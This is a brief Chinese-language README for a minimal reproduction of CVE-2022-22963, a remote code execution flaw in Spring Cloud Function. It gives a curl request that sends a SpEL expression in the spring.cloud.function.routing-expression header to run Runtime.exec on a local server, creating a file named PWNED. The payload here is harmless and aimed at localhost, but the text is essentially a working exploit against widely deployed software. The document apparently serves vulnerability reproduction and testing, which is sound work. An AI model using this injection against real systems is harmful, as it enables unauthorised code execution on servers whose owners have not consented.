在 org.springframework.cloud:spring-cloud-function-core 中重现 CVE-2022-22963 远程代码执行的最小示例。
mvn spring-boot:run
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter
作为漏洞利用的结果,文件 PWNED 将被创建在 pom.xml 附近。